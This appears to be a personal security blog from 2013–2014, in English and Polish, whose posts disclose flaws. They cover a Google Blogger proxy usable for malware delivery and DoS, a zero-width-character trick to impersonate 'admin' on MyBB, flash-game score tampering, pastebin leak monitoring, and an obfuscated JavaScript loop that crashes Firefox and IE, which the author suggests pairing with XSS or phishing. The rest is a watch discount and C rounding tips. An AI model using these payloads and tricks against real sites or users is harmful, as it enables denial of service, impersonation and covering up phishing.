Wednesday, 19 March 2014

When "usability outweighs the perceived risks" [Google]

Sometimes advantages of used solution outweighs potential security risk, situation like that opens wide field for black hats.

Introduction

Using Google as proxie is well known topic, ex. google translator, but recently I noticed also content downloading possibility, what creates a way more abuse possibilities.

Blogger "image from web"
When we want to add a new photo from web, there is created request like that:



 Url:
https://images-blogger-opensocial.googleusercontent.com/gadgets/proxy?url=http://1.bp.blogspot.com/-FbuVMEv0Abg/Ut10Wpi_WFI/AAAAAAAAD1I/q1Pk4RPA2e4/s1600/Screenshot_2.jpg&container=blogger&gadget=a&rewriteMime=image/*

Opening that link will start downloading image in p.txt file, from address included in "url" parameter.  In this example "http://1.bp.blogspot.com/-FbuVMEv0Abg/Ut10Wpi_WFI/AAAAAAAAD1I/q1Pk4RPA2e4/s1600/Screenshot_2.jpg". What is exactly my .jpg, just with changed extension to text file. But let's see what can we achieve by changing the "url", or  "rewriteMime" parameter.

Threats


1)Malicious file download using google servers:

We can change url parameter to any page or file and thanks to rewriteMime, (http://en.wikipedia.org/wiki/MIME) we can give "advice for browser", what to use for opening this file, despite of default .txt format. Some of the browsers use that parameter (ex. firefox). It gives possibility to send malicious file, as google servers (File is being downloaded to google servers firstly and then to client)
So lets make some tests, by downloading files from dropbox and changing their mime parameters:

.docx and .pdf - popular files, often containing exploits.
https://images-blogger-opensocial.googleusercontent.com/gadgets/proxy?url=https://dl.dropboxusercontent.com/u/17580849/testing/test.docx&container=a&gadget=b&rewriteMime=application/msword

https://images-blogger-opensocial.googleusercontent.com/gadgets/proxy?url=https://dl.dropboxusercontent.com/u/17580849/testing/test.pdf&container=a&gadget=b&rewriteMime=application/pdf


.zip that may contain malicious .exe
https://images-blogger-opensocial.googleusercontent.com/gadgets/proxy?url=https://dl.dropboxusercontent.com/u/17580849/testing/test.zip&container=a&gadget=b&rewriteMime=application/zip

Video:





In chrome and IE situation is better, they both recognize files as .txt, despite the Mime parameter change.

2)Bypass downloading content from websites blocked or marked as danger websites

Because everything is going though goggle servers, it lets to use content from sources, that maybe should be blocked for some reasons. So it can work as proxy.

3) Silence malware updates possibility

Default extension of file is .txt, but after downloading there is no problem for malware to change it to exe., so connecting this, with previously talked proxy possibility, it can be used by malware to make updates thought legit google servers.

Video: 




4) DoS using google servers
During tests, I didnt notice any security, as captcha or requests limit, so it gives possibility to make numerous requests of downloading file from target website and at the end the DoS attack. Attacker could choose big file on website, which using this method will be downloaded many times by fast google servers.


Conclusion

Web developers often encounter this kind of problem, the title which describes it, comes from email that I got from Google:



As we can see in Google opinion possible advantages are higher than the risk. Same situation we can observe right now (27.04), with Facebook, where it's possible to use notes service for downloading content from any website (cause DDos, when many people open the note) (more info: http://chr13.com/2014/04/20/using-facebook-notes-to-ddos-any-website/). The most realistic solutions seems to be monitoring such a service and trying to catch abuses.

Tuesday, 21 January 2014

Rejestracja istniejącego, lub jednoliterowego nicku [MyBB, phpBB]


Za namową Adama z Z3S postanowiłem opisać problem po polsku i przeprowadzić trochę więcej testów (dzięki za motywacje! :>).

Czym jest "zero width non jointer"
"zero width non jointer" jest znakiem o szerokości 0 pixeli, samodzielnie występuje jako niewidoczny znak. Więcej informacji: http://en.wikipedia.org/wiki/Zero-width_non-joiner

Znajdziemy go w tablicy znaków (Start > Wyszukaj "> "Tablica Znaków"),  zaznaczamy Widok zaawansowany i w wyszukiwanie wpisujemy "Zero Width Non-Joiner", naciskamy wybierz, a następnie kopiuj.




















Test popularnych for
Postanowiłem przetestować jak zadziała użycie go przy rejestracji na kilku popularnych forach.

  • Vbulletin&IpBoard 

Oba wydają się być bezpieczne,
‍‍‍Vbulletin przechodzi początkową walidacje, przy wpisywaniu, jednak po kliknięciu zarejestruj:








Podejście IpBoard bardziej mi się spododało, odrazu informuje, że można użyć tylko znaków a-zA-Z0-9





  • MyBB:

Potrzebujemy nicku 3 znakowego:






Teraz dodałem 2 znaki "zero width non jointer":






 Działa!









Ale rejestracja nicku jak 'a', może służyć jedynie zabawie, teraz spróbujmy zarejestrować istniejący nick, czemu by nie "admin" ?

Przed dodaniem znaku U+200c :




 

Po:












Zalogowano



Dodanie posta w temacie prawdziwego admina:
















Na następnym screenie, możemy zobaczyć 3 adminów i 2 użytkowników o nicku 'a':








Zgłosiłem już to do MyBB.

  • phpBB

Tym razem forum nie pozwala nam zarejestrować takiego samego, jednak nadal można nick jednoliterowy:







Zagrożenia:
Powiecie, że np. w MyBB "admin jest zielony i ma więcej gwiazdek", Prawda..., ale:
1. W prywatnej wiadomości, np z prośbą o nowe hasło, ludzie mogą tego nie zauważyć, szczególnie jeżeli użyjemy takiego samego avataru.
2. Możliwe jest stworzenie każdego nicku, więc atakujący może stworzyć konto o nicku zaufanego sprzedawcy, o takiej samej randze, a nabicie postów to nie problem.
3. Ludzie mogą popełnić błędy podczas wysyłania prywatnych wiadomości i wybrać nas, zamiast prawdziwego adresata.


Jak zaradzić:
Najlepszym sposobem, jest sposób zastowany przez IpBoard, czyli whitelist dla dozwolonych znaków, np. a-zA-Z0-9

Fix w MyBB stworzony przez Pawła Klebba:

Plik inc/datahandlers/user.php, linijka koło 73. Zamienić ją na:
$username = str_replace(array(unichr(160), unichr(173), unichr(0xCA), dec_to_utf8(8238), dec_to_utf8(8237), dec_to_utf8(8203), dec_to_utf8(8204) ), array(" ", "-", "", "", "", "", ""), $username);


Friday, 10 January 2014

Flash games security, or so called 'cheating', Part I











If you have ever been wondering how all these amazing score results in flash games are achieved, here you will find it out. I'm going to write set of articles about flash games security, this is part I and we will talk about cheating possibility during communication: client side - server.

Most of simple flash games are runned only on 'client side' and they have no communication with server until it wants to send your score to best results list. This makes it simply to cheat by changing values during that communication.

I'm going to show it step by step, we will use Tamper Data add-on for firefox which simply allows us to modify POST parameters in "real time". Of course we can use tools like Burp Suite, but for non advanced users, for this task, it's simpler to use add-on like Tamper Data.
Download:

I also set up testing environment with MyBB forum and flash games plugin 'GamesSection', I'm going to show it on pacman game, which is included by default with plugin, but it works with all the games that don't have server side control, during game.




















Before start the game we have to open Tamper Data (Tools -> Tamper Data) and we got window pop up:



















Now we can click 'Start Tamper' and start playing, its advised to close other websites, otherwise we will get many pop ups, with every tab page requests.
So we simply play game, until our lives finish:




















When we lose, website will try to save our points for the ranking, so Tamper Data will pop up:








Of course we click Tamper, and we can uncheck continue box. Request details will come:











Now in Post_Data, we have to find where scores are included, we can can do it by looking manually, or search with ctr+f for value of points we had at the end (70 in my example). It appears here in 3 places, but only last value 'gscore' is sent to ranking:






we can modify it however we want:






after all, click 'ok', it will ask us to change 'Content-Length', of course click 'ok'









if score was not additionaly checked by server, it will appear in ranking:















This method works with most of simple games with ranking and all the games in forums plugins. In next part I will show how to change values during game, by editing memory with CheatEngine, which works also with some facebook games and for example 'Unicorn Robot Attack' game.

Saturday, 7 December 2013

Pastebin monitoring

Few months ago I was thinking about public pastebins. From experience I can say many people put dumps/configs on public pastebins, just because its easy and fast. They don't think that someone can see it.
Examples from today:

All new pastebins are being published on main page, what makes the task much easier.


Looking through them can give us much information, often information that we shouldn't see. Of course opening every new one manualy is time wasting, there are a lot of useless pastebins. Here comes idea that I had few months ago, to make an automatic tool, that is opening every pastebin and analyzing content with keywords, unfortunately I haven't had time to implement it myself.
Accidentally few days ago, I found ready solution for that. Whats more the solution is open source and based on twitts, what makes it easy to follow.

It's named Dumpmon
Everything is written in python -  here you can find source on Github.

In addition it doesn't only find Acc/Db leaks, but Cisco configuration files, Google Api keys and honeypot logs as well.



At the end I would like to mention there is one more tool for similar purpose, named PastebinDorks



Unfortunately source code is not available and it doesn't show what kind of data is included in pastebin, only amount, but its worth to follow it as well.

To sum up if you are going to post data that you don't want to be seen by others, spend a little more time and use password protected solutions and if you want to be up to date with fresh leaks, follow mentioned bots ;)

Monday, 2 December 2013

DOS - Mozilla Firefox & Internet Explorer

Since some time ( I saw it at least a year ago ) there is available javascript code that cause DOS in newest versions of FF and IE. Unfortunately it doesn't work in Chrome, because each card has own process. I don't know what about Chrome or Opera, You can test it and let me know in comments. It was already reported to Mozilla long time ago ( I reported too ) but it seems they are not going to fix it.

Javascript code:
var a=String.fromCharCode(60,115,99,114,105,112,116,62,118,97,114,32,97,61,34,60,109 ,97,114,113,117,101,101,62,97,34,59,119,104,105,108,101,40,49,41,123,97,61,97,43 ,97,59,100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,97,41,59,125,60, 47,115,99,114,105,112,116,62);
while(1){
a=a+a;
document.write(a);}

For test how and if it works:
WARNING, IT WILL CRASH YOUR BROWSER, OPEN ON OWN RESPONSIBILITY
https://dl.dropboxusercontent.com/u/17580849/freez.html

How it can be useful
You can say its useless and good just for making friends angry,
not only...

1. An attacker may add this code to website, so everyone who visit it will get crash, it will make website unreachable. Probably now you think - if attacker has access to website he can just delete main page or do something simpler than crashing visitors browsers. Yes, but javascript can be used in XSS attack and then its useful.

2. Attacker can also add it after phishing attack, after password getting step. Thanks to this attacker don't have to worry to show correct messages and redirection. Whats more after running that he can add ip/browser rule, so when victim visit phishing link again, will be redirected to real page. After one crash none will think something is wrong (in ff flash plugin often crash itself) and when he visit page second time, this time there will be nothing suspicious.

3. As everywhere in IT, the only limit is imagination.

At the end, Mozilla respond:



Thursday, 28 November 2013

Texas Instruments eZ430-Chronos

Z okazjii czarnego piątku pojawiły się 2 kody rabatowe na zegarki eZ430-Chronos:
868_BF, lub 915_BF , zależnie od wersjii. Dzięki temu możemy go kupić za 29.99 USD (normalna cena: 58.00) i z darmową przesyłką, co za tego typu zegarek jest świetną ceną. Promocja trwa od 19 listopada do dziś. Jeszcze godzinę temu zegarki były wyprzedane, ale wygląda na to, że właśnie je uzupełnili, Kto pierwszy ten lepszy!















Poza standardowymi opcjami jakie mają zagarki posiada on acelerometr, wysokościomierz oraz termometr, dodatkowo można zakupić pulsometr. Nie robiłoby to wrażenia gdyby nie możliwość praktycznie dowolnego zaprogramowania. Umożliwia on także radiową łączność na falach zależnych od wersjii, dzięki temu możemy np. sterować myszką komputera ruszając reką (wykorzysytanie acelerometru), albo zmieniać slajdy na prezentacji, czy muzyke, przyciskiem zegarka. Jeżeli kupilibyśmy wersje 433 mhz (która w Polsce jest legalna tylko z licencją krótkofalowca), mamy praktycznie nieograniczone możliwośći, moglibyśmy nim otwierać brame garażową, czy gasić światło w pokoju, ponieważ większość z nich działa właśnie na tych falach. Na szczęscie pozostałe wersje też dają nam szeroki wachlarz możliwośći po połączeniu ich z Ardunio lub Rasberry Pi. Np. możemy do ardunio wrzucić moduł bluetooth i zsynchronizować z telefonem, albo ird i np. przelączać kanały w telewizorze. Możliwości są praktycznie nieograniczone. A to wszystko za pomocą zegarka za 30$!
Jakbyście zamierzali go kupić dodam, że w Europie obowiązuje standard 868mhz.

Oczywiście nie pisałbym o tym, gdyby nie udało mi się go zamówić
Jak tylko dojdzie zamieszcze recenzje.

Wednesday, 27 November 2013

Creative rounding in C/C++


If you are coding in C/C++ for rounding you are probably using  round(),  which is part of the C99, but did you think about another solutions, for example if the compiler doesn't support C99, or you just want to do something "cool"?

At the beginning I would like to give you a piece of code:

 int roundedResult, sum = 5, div = 3; 
 roundedResult = (float) sum / (float) div + 0.5;
 cout<<roundedResult;
output: 2
(5/3 = 1.666..)

 int roundedResult, sum = 5, div = 4; 
 roundedResult = (float) sum / (float) div + 0.5;  
 cout<<roundedResult;
output: 1
(5/4 = 1.25) 

You could notice that + 0.5 at the end and probably think that it may be somehow connected with rounding... If yes, then you are right! In first example when we add 0.5 to the result (1.66..) we got ~2.16. As roundedResult is integer type it just cuts the rest after dot.
In second example result after adding 0.5 is 1.75 and again when we cut 0.75 we got correctly rounded number.

Here is a ready function for rounding this way
 int roundNumber(float number)
 { 
   int rounded = (int)(number + 0.5); 
// in C++ recommended to use static_cast instead of (int) 
   return rounded; 
 } 
but you could notice that the problem appears when we want to round minus number. -2.6 will become -2, what is incorrect. Fortunately there is a simple solution:
 int roundNumber(float number)
 { 
  int rounded = (int)(number > 0) ? (number + 0.5) : (number - 0.5);
// in C++ recommended to use static_cast instead of(int)
   return rounded; 
 } 
Thanks to this for minus numbers we subtract 0.5 instead of adding, after that from -2.6  we will get -3,1, which is being cut to 3 - correct!

Tip for C++ coders: For small functions use:
inline int roundNumber(float number)
thanks to inline keyword compiler will put function code into place where you called it, instead of putting on stack etc. It makes program faster, but be careful! If you use inline for big functions it will drastically increase output file size, so use it wisely.